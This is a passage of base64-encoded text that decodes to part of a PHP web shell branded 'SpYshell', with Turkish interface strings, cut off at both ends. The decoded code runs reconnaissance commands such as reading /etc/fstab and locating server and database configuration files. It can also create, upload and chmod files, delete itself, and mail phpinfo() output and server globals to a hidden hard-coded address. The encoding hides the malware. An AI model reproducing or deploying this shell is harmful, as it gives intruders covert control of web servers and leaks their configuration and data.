1hIEJpbGdpbGVyaSAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiY1VSTCBZdWtsdT8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJseW54IFl1a2x1PyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7DQogZGlzcGxheXNlY2luZm8oImxpbmtzIFl1a2x1PyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJmZXRjaCBZdWtsdT8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiR0VUIFl1a2x1PyIsbXlzaGVsbGV4ZWMoIndoaWNoIEdFVCIpKTsNCiBkaXNwbGF5c2VjaW5mbygicGVybCBZdWtsdT8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJBcGFjaGUgeXVrbHUgeWVyID8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiUGVybCBZdWtsdSB5ZXIgPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsNCiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHByb2Z0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBteS5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwc3libmMuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTsNCn0NCmlmICgkYWN0ID09ICJta2ZpbGUiKQ0Kew0KIGlmICgkbWtmaWxlICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCiB9DQogZWxzZSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCn0NCmlmICgkYWN0ID09ICJlbmNvZGVyIikNCnsNCiBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+PGNlbnRlcj48Yj5DeXJpcHRvczo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1cImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZW5jb2Rlcj48Yj5HaXJpbGVuIFZlcmk6PC9iPjxjZW50ZXI+PHRleHRhcmVhIG5hbWU9XCJlbmNvZGVyX2lucHV0XCIgaWQ9XCJpbnB1dFwiIGNvbHM9NTAgcm93cz01PiIuQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVGFtYW1cIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwvYj46PGJyPjxjZW50ZXI+IjsNCiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KQ0KIHsNCiAgZWNobyAkdi4iIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48YnI+IjsNCiB9DQogZWNobyAiPC9jZW50ZXI+PGI+VXJsOjwvYj48Y2VudGVyPjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4NCiA8YnI+dXJsZGVjb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+DQogPGJyPjwvY2VudGVyPjxiPkJhc2U2NDo8L2I+PGNlbnRlcj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvY2VudGVyPiI7DQogZWNobyAiPGNlbnRlcj5iYXNlNjRfZGVjb2RlIC0gIjsNCiBpZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJmYWlsZWRcIiBkaXNhYmxlZCByZWFkb25seT4iO30NCiBlbHNlDQogew0KICAkZGViYXNlNjQgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KTsNCiAgJGRlYmFzZTY0ID0gc3RyX3JlcGxhY2UoIlwwIiwiWzBdIiwkZGViYXNlNjQpOw0KICAkYSA9IGV4cGxvZGUoIlxyXG4iLCRkZWJhc2U2NCk7DQogICRyb3dzID0gY291bnQoJGEpOw0KICAkZGViYXNlNjQgPSBodG1sc3BlY2lhbGNoYXJzKCRkZWJhc2U2NCk7DQogIGlmICgkcm93cyA9PSAxKSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJGRlYmFzZTY0LiJcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ijt9DQogIGVsc2UgeyRyb3dzKys7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBcIiByb3dzPVwiIi4kcm93cy4iXCIgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iLiRkZWJhc2U2NC4iPC90ZXh0YXJlYT4iO30NCiAgZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5ePC9iPjwvYT4iOw0KIH0NCiBlY2hvICI8L2NlbnRlcj48YnI+PGI+QmFzZSBjb252ZXJ0YXRpb25zPC9iPjo8Y2VudGVyPmRlYzJoZXggLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIjsNCiAkYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQogZm9yKCRpPTA7JGk8JGM7JGkrKykNCiB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KIH0NCiBlY2hvICJcIiByZWFkb25seT48YnI+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZnNidWZmIikNCnsNCiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07DQogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsNCiAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+VGFtcG9uIEJvczwvYj48L2NlbnRlcj4iO30NCiBlbHNlIHtlY2hvICI8Yj5Eb3N5YSBTaXN0ZW0nIGluIFRhbXBvbiB1PC9iPjxicj48YnI+IjsgJGxzX2FyciA9ICRhcnI7ICRkaXNwX2Z1bGxwYXRoID0gdHJ1ZTsgJGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCRhY3QgPT0gInNlbGZyZW1vdmUiKQ0Kew0KIGlmICgoJHN1Ym1pdCA9PSAkcm5kY29kZSkgYW5kICgkc3VibWl0ICE9ICIiKSkNCiB7DQogIGlmICh1bmxpbmsoX19GSUxFX18pKSB7QG9iX2NsZWFuKCk7IGVjaG8gIlRoYW5rcyBmb3IgdXNpbmcgU3BZc2hlbGwgdi4iLiRzaHZlci4iISI7IGFzaHNoZXhpdCgpOyB9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+U2lsaW5lbWVkaSA6KCAgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5IYXRhOiBZYW5saXMga29uZmlybWF0aW9uPC9iPiI7fQ0KICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7DQogIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkVtaW5taXNpbiA/IDxicj5Eb2dydWxhbWEgZ2lyIFwiIi4kcm5kLiJcIjwvYj46Jm5ic3A7PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFdmV0XCI+PC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInVwZGF0ZSIpIHskcmV0ID0gYXNoc2hfZ2V0dXBkYXRlKCEhJGNvbmZpcm11cGRhdGUpOyBlY2hvICI8Yj4iLiRyZXQuIjwvYj4iOyBpZiAoc3RyaXN0cigkcmV0LCJuZXcgdmVyc2lvbiIpKSB7ZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuJHN1cmwuImFjdD11cGRhdGUmY29uZmlybXVwZGF0ZT0xJztcIiB2YWx1ZT1cIlVwZGF0ZSBub3dcIj4iO319DQppZiAoJGFjdCA9PSAiZmVlZGJhY2siKQ0Kew0KICRzdXBwbWFpbCA9IGJhc2U2NF9kZWNvZGUoIll6azVjMmhsYkd4QVkyTjBaV0Z0TG5KMSIpOw0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICAkdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5kKDEsMTAwMCkpLDAsNik7DQogICRib2R5ID0gIlNwWXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsNCiAgaWYgKCFlbXB0eSgkZmRia19yZWYpKQ0KICB7DQogICAkdG1wID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgb2JfY2xlYW4oKTsNCiAgIHBocGluZm8oKTsNCiAgICRwaHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7DQogICBvYl9jbGVhbigpOw0KICAgZWNobyAkdG1wOw0KICAgJGJvZHkgLj0gIlxuIi4icGhwaW5mbygpOiAiLiRwaHBpbmZvLiJcbiIuIlwkR0xPQkFMUz0iLmJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRHTE9CQUxTKSkuIlxuIjsNCiAgfQ0KICBtYWlsKCRzdXBwbWFpbCwiU3BZc2hlbGwgdi4iLiRzaHZlci4iIGZlZWRiYWNrICMiLiR0aWNrZXQsJGJvZHksIkZST006ICIuJHN1cHBtYWlsKTsNCiAgZWNobyAiPGNlbnRlcj48Yj5UZXNla2t1cmxlciBrdWxsYW5pY2kgaWQ6ICIuJHRpY2tldC4iLjwvYj48L2NlbnRlcj4iOw0KIH0NCiBlbHNlIHtlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+PGI+R2VyaSBiZXNsZW1lIHZleWEgcmVwb3J0IHNvcnVuIGFjYXIgKCIuc3RyX3JlcGxhY2UoJHN1cHBtYWlsKS4iQWRtaW5Ac3B5aGFja2Vyei5jb20pOjxicj48YnI+QWRpbjogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcIj48YnI+PGJyPmUtbWFpbCBBZHJlc2luIDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfZW1haWxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlwiPjxicj48YnI+TWVzYWppbiA6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+U2VydmVyLWJpbGdpeWkgYmE/bGEqIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmRia19zZXJ2aW5mXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkdvbmRlclwiPjwvZm9ybT4iO30NCn0NCmlmICgkYWN0ID09ICJzZWFyY2giKQ0Kew0KIGVjaG8gIjxiPlNpc3RlbSBEb3N5YWxhcmluZGEgQXJhOjwvYj48YnI+IjsNCiBpZiAoZW1wdHkoJHNlYXJjaF9pbikpIHskc2VhcmNoX2luID0gJGQ7fQ0KIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIiguKikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9DQogaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICAkZm91bmQgPSBhcnJheSgpOw0KICAkZm91bmRfZCA9IDA7DQogICRmb3VuZF9mID0gMDsNCiAgJHNlYXJjaF9pX2YgPSAwOw0KICAkc2VhcmNoX2lfZCA9IDA7DQogICRhID0gYXJyYXkNCiAgKA0KICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAidGV4dCI9PiRzZWFyY2hfdGV4dCwgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLA0KICAgInRleHRfd3dvIj0+JHNlYXJjaF90ZXh0X3d3bywNCiAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgInRleHRfbm90Ij0+JHNlYXJjaF90ZXh0X25vdA0KICApOw0KICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAkaW4gPSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOw0KICBmb3JlYWNoKCRpbiBhcyAkdikge2FzaGZzZWFyY2goJHYpO30NCiAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsNCiAgaWYgKGNvdW50KCRmb3VuZCkgPT0gMCkge2VjaG8gIjxiPkRvc3lhIEJ1bHVuYW1hZGkhPC9iPiI7fQ0KICBlbHNlDQogIHsNCiAgICRsc19hcnIgPSAkZm91bmQ7DQogICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAkYWN0ID0gImxzIjsNCiAgfQ0KIH0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+DQo8Yj5TZWFyY2ggZm9yIChmaWxlL2ZvbGRlciBuYW1lKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfbmFtZVwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX25hbWUpKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9uYW1lKS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfbmFtZV9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX25hbWVfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHANCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4NCjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+DQo8YnI+PGJyPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwDQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIDx1Pnc8L3U+aG9sZSB3b3JkcyBvbmx5DQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X25vdCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gZmluZCBmaWxlcyA8dT5OT1Q8L3U+IGNvbnRhaW5pbmcgdGhlIHRleHQNCjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3JtPiI7DQogaWYgKCRhY3QgPT0gImxzIikgeyRkc3BhY3QgPSAkYWN0OyBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQpLjwvYj48YnI+PGJyPiI7fQ0KfQ0KaWYgKCRhY3QgPT0gImNobW9kIikNCnsNCiAkbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7DQogaWYgKCEkbW9kZSkge2VjaG8gIjxiPkhhdGEgRG9zeWEgRGVnaXNtZWRpOjwvYj4gU2ltZGlraSBWYWx1ZSBkZWlnaXN0aXJpbGVtZWRpIjt9DQogZWxzZQ0KIHsNCiAgJGZvcm0gPSB0cnVlOw0KICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBmYWxzZTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkhhdGE6PC9iPiAiLiRlcnI6IiIpLiI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtPa3VtYTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtZYXptYTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5VeWd1bGFuYW1hZGkhPC90ZD48dGQ+PGI+R3J1cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO09rdW1hPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPlV5Z3VsYW5hbWFkaSE8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtPa3VtYTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5VeWd1bGFuYW1hZGkhPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJ1cGxvYWQiKQ0Kew0KICR1cGxvYWRtZXNzID0gIiI7DQogJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHVwbG9hZHBhdGgpOw0KIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gIi8iKSB7JHVwbG9hZHBhdGggLj0gIi8iO30NCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7DQogICR1cGxvY